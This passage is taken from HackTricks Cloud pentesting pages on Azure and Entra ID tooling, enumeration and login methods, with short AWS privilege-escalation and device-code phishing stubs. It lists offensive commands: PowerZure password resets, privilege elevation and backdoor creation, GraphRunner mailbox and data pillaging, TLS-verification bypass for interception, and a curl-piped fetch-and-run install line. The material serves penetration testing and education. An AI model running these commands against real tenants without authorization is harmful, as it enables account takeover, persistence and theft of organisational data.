connects to Azure and executes administrative commands via the command line or scripts. Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install) . Commands in Azure CLI are structured using a pattern of: `az ` Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: bash az account management-group list --output table --debug In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 export HTTPS_PROXY="http://127.0.0.1:8080" export HTTP_PROXY="http://127.0.0.1:8080" # If this is not enough # Download the certificate from Burp and convert it into .pem format # And export the following env variable openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem bash set ADAL_PYTHON_SSL_NO_VERIFY=1 set AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 set HTTPS_PROXY="http://127.0.0.1:8080" set HTTP_PROXY="http://127.0.0.1:8080" # If this is not enough # Download the certificate from Burp and convert it into .pem format # And export the following env variable openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM set REQUESTS_CA_BUNDLE=C:\Users\user\Downloads\cacert.pem bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) . Commands in Azure PowerShell AZ Module are structured like: `-Az ` Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: bash Get-AzResourceGroup -Debug In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) . Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) . Commands in Microsoft Graph PowerShell are structured like: `-Mg ` Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: bash Get-MgUser -Debug The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. tip This is replaced by Microsoft Graph PowerShell Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD) . ### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure) Turbot with steampipe and powerpipe allows to gather information from Azure and Entra ID and perform compliance checks and find misconfigurations. The currently most recommended Azure modules to run are: * [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance) * [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights) * [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights) bash # Install brew install turbot/tap/powerpipe brew install turbot/tap/steampipe steampipe plugin install azure steampipe plugin install azuread # Config creds via env vars or az cli default creds will be used export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD" export AZURE_TENANT_ID="" export AZURE_SUBSCRIPTION_ID="" export AZURE_CLIENT_ID="" export AZURE_CLIENT_SECRET="" # Run steampipe-mod-azure-insights cd /tmp mkdir dashboards cd dashboards powerpipe mod init powerpipe mod install github.com/turbot/steampipe-mod-azure-insights steampipe service start powerpipe server # Go to http://localhost:9033 in a browser ### [Prowler](https://github.com/prowler-cloud/prowler) Prowler is an Open Source security tool to perform AWS, Azure, Google Cloud and Kubernetes security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. It basically would allow us to run hundreds of checks against an Azure environment to find security misconfigurations and gather the results in json (and other text format) or check them in the web. bash # Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app # Launch web with docker-compose export DOCKER_DEFAULT_PLATFORM=linux/amd64 curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env ## If using an old docker-compose version, change the "env_file" params to: env_file: ".env" docker compose up -d # Access the web and configure the access to run a scan from it # Prowler cli python3 -m pip install prowler --break-system-packages docker run --rm toniblyx/prowler:v4-latest azure --list-checks docker run --rm toniblyx/prowler:v4-latest azure --list-services docker run --rm toniblyx/prowler:v4-latest azure --list-compliance docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth ## It also support other authentication types, check: prowler azure --help ### [Monkey365](https://github.com/silverhack/monkey365) It allows to perform Azure subscriptions and Microsoft Entra ID security configuration reviews automatically. The HTML reports are stored inside the `./monkey-reports` directory inside the github repository folder. bash git clone https://github.com/silverhack/monkey365 Get-ChildItem -Recurse monkey365 | Unblock-File cd monkey365 Import-Module ./monkey365 mkdir /tmp/monkey365-scan cd /tmp/monkey365-scan Get-Help Invoke-Monkey365 Get-Help Invoke-Monkey365 -Detailed # Scan with user creds (browser will be run) Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML # Scan with App creds $SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) Scout Suite gathers configuration data for manual inspection and highlights risk areas. It's a multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. bash virtualenv -p python3 venv source venv/bin/activate pip install scoutsuite scout --help # Use --cli flag to use az cli credentials # Use --user-account to have scout prompt for user credentials # Use --user-account-browser to launch a browser to login # Use --service-principal to have scout prompt for app credentials python scout.py azure --cli ### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting) It's a powershell script that helps you to **visualize all the resources and permissions inside a Management Group and the Entra ID** tenant and find security misconfigurations. It works using the Az PowerShell module, so any authentication supported by this tool is supported by the tool. bash import-module Az .\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ] ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) The enumeration of ROADRecon offers information about the configuration of Entra ID, like users, groups, roles, conditional access policies... bash cd ROADTools pipenv shell # Login with user creds roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" # Login with app creds roadrecon auth --as-app --client "" --password "" --tenant "" roadrecon gather roadrecon gui ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) bash # Launch AzureHound ## Login with app secret azurehound -a "" -s "" --tenant "" list -o ./output.json ## Login with user creds azurehound -u "" -p "" --tenant "" list -o ./output.json Launch the **BloodHound** web with **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** and import the `output.json` file. Then, in the **EXPLORE** tab, in the **CYPHER** section you can see a **folder** icon that contains pre-built queries. ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. It is intended to be used during penetration tests where Azure is in use. bash Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ### [**PowerZure**](https://github.com/hausec/PowerZure) PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, EntraID, and the associated resources. It uses the **Az PowerShell** module, so any authentication supported by this tool is supported by the tool. bash # Login Import-Module Az Connect-AzAccount # Clone and import PowerZure git clone https://github.com/hausec/PowerZure cd PowerZure ipmo ./Powerzure.psd1 Invoke-Powerzure -h # Check all the options # Info Gathering (read) Get-AzureCurrentUser # Get current user Get-AzureTarget # What can you access to Get-AzureUser -All # Get all users Get-AzureSQLDB -All # Get all SQL DBs Get-AzureAppOwner # Owners of apps in Entra Show-AzureStorageContent -All # List containers, shared and tables Show-AzureKeyVaultContent -All # List all contents in key vaults # Operational (write) Set-AzureUserPassword -Password -Username # Change password Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. New-AzureBackdoor -Username -Password Invoke-AzureRunCommand -Command -VMName [...] ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) GraphRunner is a post-exploitation toolset for interacting with the Microsoft Graph API. It provides various tools for performing reconnaissance, persistence, and pillaging of data from a Microsoft Entra ID (Azure AD) account. bash #A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) Import-Module .\GraphRunner.ps1 Get-GraphTokens #This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. Invoke-GraphRecon -Tokens $tokens -PermissionEnum #A module to dump conditional access policies from a tenant. Invoke-GraphRecon -Tokens $tokens -PermissionEnum #A module to dump conditional access policies from a tenant. Invoke-DumpCAPS -Tokens $tokens -ResolveGuids #This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. Invoke-DumpApps -Tokens $tokens #Gather the full list of users from the directory. Get-AzureADUsers -Tokens $tokens -OutFile users.txt #Create a list of security groups along with their members. Get-SecurityGroups -AccessToken $tokens.access_token #Gets groups that may be able to be modified by the current user Get-UpdatableGroups -Tokens $tokens #Finds dynamic groups and displays membership rules Get-DynamicGroups -Tokens $tokens #Gets a list of SharePoint site URLs visible to the current user Get-SharePointSiteURLs -Tokens $tokens #This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt #This module attempts to gather a tenant ID associated with a domain. Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ### [Stormspotter](https://github.com/Azure/Stormspotter) Stormspotter creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. **Unfortunately, it looks unmantained**. bash # Start Backend cd stormspotter\backend\ pipenv shell python ssbackend.pyz # Start Front-end cd stormspotter\frontend\dist\spa\ quasar.cmd serve -p 9091 --history # Run Stormcollector cd stormspotter\stormcollector\ pipenv shell az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Privilege Escalation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. warning AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. caution If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**. So remember that this is another way to **grant privileged permissions** to a principal. **The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** * [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws\_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) * [Pacu](https://github.com/RhinoSecurityLabs/pacu) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Device Code Authentication Phishing - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Entra ID (AzureAD) & Azure IAM - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 29 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including **authentication, authorization, and user management**. Key features of Azure AD involve **multi-factor authentication** and **conditional access**, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities. bash az login #This will open the browser (if not use --use-device-code) az login -u -p #Specify user and password az login --identity #Use the current machine managed identity (metadata) az login --identity -u /subscriptions//resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity # Login as service principal ## With password az login --service-principal -u -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID ## With cert az login --service-principal -u -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com # Request access token (ARM) az account get-access-token # Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms az account get-access-token --resource-type aad-graph # If you want to configure some defaults az configure # Get user logged-in already az ad signed-in-user show # Help az find "vm" # Find vm commands az vm -h # Get subdomains az ad user list --query-examples # Get examples bash # Login Open browser Connect-MgGraph # Login with service principal secret ## App ID and Tenant ID of your Azure AD App Registration $appId = "" $tenantId = "" $clientSecret = "" ## Convert the client secret to a SecureString $secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force ## Create a PSCredential object $credential = New-Object System.Management.Automation.PSCredential ($appId, $secureSecret) ## Connect using client credentials Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential # Login with token $token = (az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv) $secureToken = ConvertTo-SecureString $token -AsPlainText -Force Connect-MgGraph -AccessToken $secureToken # Get token from session Parameters = @{ Method = "GET" Uri = "/v1.0/me" OutputType = "HttpResponseMessage" } $Response = Invoke-MgGraphRequest @Parameters $Headers = $Response.RequestMessage.Headers $Headers.Authorization.Parameter # Find commands Find-MgGraphCommand -command *Mg* bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd) Connect-AzAccount -Credential $creds # Get Access Token # Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse (ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText) # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password) Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d #All the Azure AD cmdlets have the format *-AzAD* Get-Command *azad* #Cmdlets for other Azure resources have the format *Az* Get-Command *az* bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # Using graph Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token} bash # Request tokens to access endpoints # ARM curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # Vault curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER bash Get-MgTenantRelationshipDelegatedAdminCustomer # Install the Microsoft Graph PowerShell module if not already installed Install-Module Microsoft.Graph -Scope CurrentUser # Import the module Import-Module Microsoft.Graph # Login to Microsoft Graph Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All", "Directory.Read.All" # Enumerate available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph* # Example: List users Get-MgUser -All # Example: List groups Get-MgGroup -All # Example: Get roles assigned to a user Get-MgUserAppRoleAssignment -UserId # Disconnect from Microsoft Graph Disconnect-MgGraph bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) Connect-AzureAD -Credential $creds # Using tokens ## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**. For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App. However, there are **other client-ids** of applications that **will allow you to connect to Azure**: bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` -ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' ` -Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' ` -Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" ` -Verbose -Debug ` -InformationAction Continue $token = Invoke-Authorize -Credential $credential ` -ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' ` -Scope 'openid profile Sites.Read.All User.Read email' ` -Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" ` -Verbose -Debug ` -InformationAction Continue $token = Invoke-Authorize -Credential $credential ` -ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' ` -Scope 'openid' ` -Redirect_Uri "https://graphexplorer.azurewebsites.net/" ` -Verbose -Debug ` -InformationAction Continue bash # List tenants az account tenant list For more information about Entra ID users check: [Az - Basic Information](../az-basic-information/index.html) bash # Enumerate users az ad user list --output table az ad user list --query "[].userPrincipalName" # Get info of 1 user az ad user show --id "test@corp.onmicrosoft.com" # Search "admin" users az ad user list --query "[].displayName" | findstr /i "admin" az ad user list --query "[?contains(displayName,'admin')].displayName" # Search attributes containing the word "password" az ad user list | findstr /i "password" | findstr /v "null," # All users from Entra ID az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]" az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName" # All users synced from on-prem az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]" az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName" # Get groups where the user is a member az ad user get-member-groups --id # Get roles assigned to the user in Azure (NOT in Entra ID) az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee # Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID) az role assignment list --include-inherited --include-groups --include-classic-administrators true --all # Get EntraID roles assigned to a user ## Get Token export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv) ## Get users curl -X GET "https://graph.microsoft.com/v1.0/users" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq ## Get EntraID roles assigned to an user curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \ -H "Authorization: Bearer $TOKEN" \ -H "ConsistencyLevel: eventual" \ -H "Content-Type: application/json" | jq ## Get role details curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq bash # Enumerate users using Microsoft Graph PowerShell Get-MgUser -All # Get user details Get-MgUser -UserId "test@corp.onmicrosoft.com" | Format-List * # Search "admin" users Get-MgUser -All | Where-Object { $_.DisplayName -like "*test*" } | Select-Object DisplayName # Search attributes containing the word "password" Get-MgUser -All | Where-Object { $_.AdditionalProperties.PSObject.Properties.Name -contains "password" } # All users from Entra ID Get-MgUser -Filter "startswith(userPrincipalName, 't')" -All | Select-Object DisplayName, UserPrincipalName # Get groups where the user is a member Get-MgUserMemberOf -UserId # Get roles assigned to the user in Entra ID Get-MgUserAppRoleAssignment -UserId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Users bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName # Get info of 1 user Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl # Search "admin" users Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName # Get all attributes of a user Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name} # Search attributes containing the word "password" Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}} # All users from AzureAD# All users from AzureAD Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # All users synced from on-prem Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} # Objects created by a/any user Get-AzureADUser [-ObjectId ] | Get-AzureADUserCreatedObject # Devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Objects owned by a specific user Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com # Get groups & roles where the user is a member Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com' # Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Get devices registered by a user Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com # Apps where a user has a role (role not shown) Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl * # Get 